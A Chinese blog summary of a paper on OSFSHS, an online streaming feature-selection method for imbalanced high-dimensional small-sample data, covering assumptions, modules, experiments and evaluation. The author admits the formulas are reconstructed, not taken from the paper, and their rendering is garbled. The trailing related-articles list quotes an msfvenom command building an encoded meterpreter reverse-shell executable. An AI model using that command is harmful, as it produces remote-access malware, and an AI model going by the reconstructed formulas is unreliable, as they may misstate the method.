高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址

簡要總結

《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據(HDSS)在類別不平衡情況下的在線流式特征選擇問題,提出了一種名為OSFSHS的算法。該算法基于類別密度自適應鄰域關系假設,利用在線顯著性分析、相關性分析和冗余更新技術,動態選擇特征子集。通過12個數據集的實驗驗證,OSFSHS在分類準確率、F-score和G-mean指標上優于六種主流算法,尤其在少數類預測中表現突出。其創新點在于自適應鄰域定義和在線特征評估框架,為實時數據處理提供了新思路。

以下是詳細說明:


1. 研究背景

高維小樣本數據(HDSS)是指特征維度遠大于樣本數量的數據類型,常見于圖像識別、文本分類和醫療診斷等領域。這種數據面臨以下挑戰:

  • 高維性與過擬合:特征維度高導致維度災難,模型易過擬合。
  • 小樣本性:樣本量不足,難以充分訓練模型。
  • 類別不平衡:多數類樣本占主導,少數類樣本稀少,模型往往偏向多數類,而少數類(如欺詐檢測中的異常樣本)在應用中更關鍵。
  • 在線流式場景:特征逐個或成組到達,需動態選擇最優特征子集,而非傳統靜態選擇。

傳統特征選擇方法假設特征空間固定且完整,忽視類別不平衡,導致少數類預測性能不足。現有的類別不平衡處理方法(如過采樣、欠采樣)改變數據分布,可能引入噪聲或丟失信息;而直接建模方法(設計特定算法直接處理不平衡數據)對難以適應特征流式到達的動態環境。因此,亟需一種兼顧HDSS特性、類別不平衡和在線需求的特征選擇方法。


2. 基于的假設

OSFSHS算法基于以下核心假設:

  • 類別密度決定鄰域關系:樣本的鄰域關系應由其所在類別的分布密度決定,而非統一固定距離或鄰居數量。這種假設認為類內密度信息能更準確反映不平衡數據的結構。
  • 特征重要性動態變化:新到達的特征可能比已有特征更重要,特征子集需隨時間動態調整。
  • 原始分布保持:不改變數據原始分布,僅通過類內信息評估特征,避免采樣方法帶來的偏差。

這些假設旨在解決傳統方法對不平衡數據分布的忽視,同時適應在線流式場景的實時性需求。


3. 使用的技術路線

OSFSHS的技術路線分為三個核心模塊,構成完整的在線流式特征選擇框架:

  1. 在線顯著性分析
    • 評估新到達特征的鄰域一致性,若高于已有特征子集,則替換或加入。
  2. 在線相關性分析
    • 檢查新特征與已有特征的聯合依賴性,若聯合效果更好,則保留新特征。
  3. 在線冗余更新
    • 移除特征子集中冗余特征,保證子集高效性。

技術路線依托自適應鄰域關系和鄰域一致性度量,通過動態調整實現特征選擇的實時性和準確性。


4. 實現的技術細節

OSFSHS的具體實現包括以下步驟:

(1) 自適應鄰域關系
  • 定義:基于類別密度為每個樣本動態分配鄰居數量,而非固定k值。
  • 過程:利用目標樣本所在類別的分布信息,計算類內密度,確定鄰域范圍。
  • 優勢:避免傳統k近鄰方法對稀疏或密集區域的統一處理,適應不平衡數據。
(2) 鄰域一致性度量
  • 定義:衡量特征子集與標簽空間的一致性,作為特征重要性標準。
  • 計算:基于新鄰域關系,評估特征如何區分不同類別。
  • 應用:用于后續的顯著性、相關性和冗余分析。
(3) 在線流式特征選擇
  • 階段1:在線顯著性分析
    • 輸入新特征,計算其鄰域一致性。
    • 若一致性高于已有特征子集,則替換低效特征。
  • 階段2:在線相關性分析
    • 計算新特征與已有特征子集的聯合依賴性。
    • 若聯合依賴性優于單一特征,則保留新特征。
  • 階段3:在線冗余更新
    • 檢查已有特征子集,若某特征與新特征聯合依賴性低于新特征單獨依賴性,則移除冗余特征。
(4) 算法流程
  • 輸入:流式到達的特征、樣本數據、標簽。
  • 輸出:動態更新的特征子集。
  • 特點:實時性強,計算復雜度低,適合在線場景。

5. 詳細的數學公式表達

以下是OSFSHS的關鍵數學表達(因原文未提供具體公式,此處根據描述推導典型形式):

(1) 鄰域一致性度量

設特征子集 S S S,樣本 x i x_i xi? 的類別標簽為 y i y_i yi?,鄰域為 N ( x i ) N(x_i) N(xi?),一致性定義為:

C ( S ) = 1 n ∑ i = 1 n I ( y i = majority ( N ( x i , S ) ) ) C(S) = \frac{1}{n} \sum_{i=1}^n \mathbb{I}(y_i = \text{majority}(N(x_i, S))) C(S)=n1?i=1n?I(yi?=majority(N(xi?,S)))

其中:

  • n n n 為樣本數;
  • I \mathbb{I} I 為指示函數,若 y i y_i yi? 與鄰域多數類別一致則為1,否則為0;
  • N ( x i , S ) N(x_i, S) N(xi?,S) 是基于特征子集 S S S 計算的鄰域。
(2) 在線顯著性分析

新特征 f new f_{\text{new}} fnew? 的顯著性:

Sig ( f new ) = C ( S ∪ { f new } ) ? C ( S ) \text{Sig}(f_{\text{new}}) = C(S \cup \{f_{\text{new}}\}) - C(S) Sig(fnew?)=C(S{fnew?})?C(S)

Sig ( f new ) > θ \text{Sig}(f_{\text{new}}) > \theta Sig(fnew?)>θ(閾值),則 f new f_{\text{new}} fnew? 加入 S S S

(3) 聯合依賴性

特征 f new f_{\text{new}} fnew? 與子集 S S S 的聯合依賴性可用互信息表示:

I ( f new , S ; Y ) = H ( Y ) ? H ( Y ∣ f new , S ) I(f_{\text{new}}, S; Y) = H(Y) - H(Y | f_{\text{new}}, S) I(fnew?,S;Y)=H(Y)?H(Yfnew?,S)

其中:

  • H ( Y ) H(Y) H(Y) 為標簽熵;
  • H ( Y ∣ f new , S ) H(Y | f_{\text{new}}, S) H(Yfnew?,S) 為條件熵。
(4) 冗余判斷

對于已有特征 f j ∈ S f_j \in S fj?S,若:

I ( f new , f j ; Y ) < I ( f new ; Y ) I(f_{\text{new}}, f_j; Y) < I(f_{\text{new}}; Y) I(fnew?,fj?;Y)<I(fnew?;Y)

f j f_j fj? 被視為冗余并移除。

這些公式體現了OSFSHS的動態評估過程,具體實現中可能涉及參數調整和優化。


6. 提出的創新點

OSFSHS的創新點包括:

  1. 基于類別密度的鄰域關系
    • 通過類內密度動態定義鄰域,克服傳統方法的固定假設,適應不平衡數據。
  2. 在線特征評估框架
    • 包含顯著性分析、相關性分析和冗余更新,形成完整在線選擇體系。
  3. 保持原始分布
    • 不依賴采樣,僅利用類內信息選擇特征,避免數據分布改變。

這些創新提升了算法在HDSS和類別不平衡場景中的適用性。


7. 實驗分析

(1) 實驗設置
  • 數據集:12個公開數據集(10個不平衡,2個常規),特征維度2308至12600,類別比例差異大(如GENE9為32.83)。
  • 評估指標:分類準確率、F-score(綜合精確率和召回率)、G-mean(平衡正負類效果)。
  • 對比算法:OSFS、FOSFS、SAOLA、KOFSD、OFSD、OFSI。
(2) 結果分析
  • 性能表現
    • OSFSHS在多數數據集上優于對比算法,尤其在F-score和G-mean上。例如,BREAST數據集F-score達0.9836(KNN)。
  • 少數類預測
    • 在不平衡數據集上,OSFSHS顯著提升少數類性能,體現了對類別不平衡的處理能力。
  • 統計檢驗
    • Friedman和Nemenyi檢驗顯示OSFSHS性能差異顯著,平均排名第一。
  • 穩定性
    • 雷達圖顯示OSFSHS總體穩定,但在GENE10等極端稀疏數據集上略有波動。
(3) 結論

實驗證明OSFSHS在HDSS在線流式特征選擇中表現優異,尤其適合類別不平衡場景。

算法流程圖

在這里插入圖片描述

實驗結果

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述在這里插入圖片描述


8. 總體評價

OSFSHS通過自適應鄰域關系和在線評估框架,解決了HDSS數據在類別不平衡下的特征選擇難題。其技術路線清晰,實驗結果令人信服,創新點突出,為實時數據處理提供了理論和實踐價值。未來可擴展至群體特征選擇和多標簽學習,進一步提升應用前景。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73509.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73509.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73509.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口&#xff0c;用于搜索店鋪列表。通過該接口&#xff0c;開發者可以查詢特定店鋪的相關信息&#xff0c;包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化&#xff1a; H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏&#xff08;線程未關閉&#xff09;問題描述錯誤實現優化原理正確實現優化原理 資源泄漏&#xff08;線程未關閉&#xff09; 問題描述 應用程序啟動時創建線程池處理任務&#xff0c;但未在應用關閉時正確關閉線程池。 現象&#xff1a; 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件&#xff1a; 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單&#xff0c;包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程&#xff0c;支持Windows和Mac系統&#xff0c;操作簡單&#xff0c;永久免費使用。同時&#xff0c;我們也會提到另一款強大的抓包工具——SniffMaster&#xff08;抓包大師&#xff09;&#xff0c;它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子&#xff0c;展示如何從前向傳播、損失計算&#xff0c;到反向傳播推導梯度&#xff0c;再到參數更新&#xff0c;完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡&#xff0c;其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層&#xff08;Presentation Layer&#xff09;業務邏輯層&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;數據訪問層&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器"&#xff0c;防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache)&#xff1a;就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞&#xff1b;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量&#xff0c;減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記&#xff08;第一彈&#xff09; 整理自《effective Java 中文第3版》 本篇筆記整理第3&#xff0c;4章的內容。 重寫equals方法需要注意的地方 自反性&#xff1a;對于任何非空引用 x&#xff0c;x.equals(x) 必須返回 true。對稱性&#xff1a;對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…

C++ 多線程簡要講解

std::thread是 C11 標準庫中用于多線程編程的核心類&#xff0c;提供線程的創建、管理和同步功能。下面我們一一講解。 一.構造函數 官網的構造函數如下&#xff1a; 1.默認構造函數和線程創建 thread() noexcept; 作用&#xff1a;創建一個 std::thread 對象&#xff0c;但…

Vscode HTML5新增元素及屬性

一、?HTML5 語義化標簽 HTML5 語義化標簽&#xff08;Semantic Elements&#xff09;是一組 ?具有明確含義的 HTML 元素?&#xff0c;通過標簽名稱直接描述其內容或結構的功能&#xff0c;而非僅作為樣式容器&#xff08;如 <div> 或 <span>&#xff09;。它們旨…

【PostgreSQL教程】PostgreSQL 特別篇之 語言接口Python

博主介紹:?全網粉絲22W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…

Three學習入門(四)

9-Three.js 貼圖與材質學習指南 環境準備 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…

前端NVM安裝

https://v0.dev/chat/settings 本地啟動環境 1安裝 nvm 2安裝node nvm install v18.19.0 nvm install v20.9.0 nvm use 18 node -v 3安裝 pnpm npm install -g pnpm 或者 npm i -g pnpm 4啟動 代碼 目錄下 執行 pnpm i pnpm run dev 4.1到代碼目錄下 4.2直接cmd…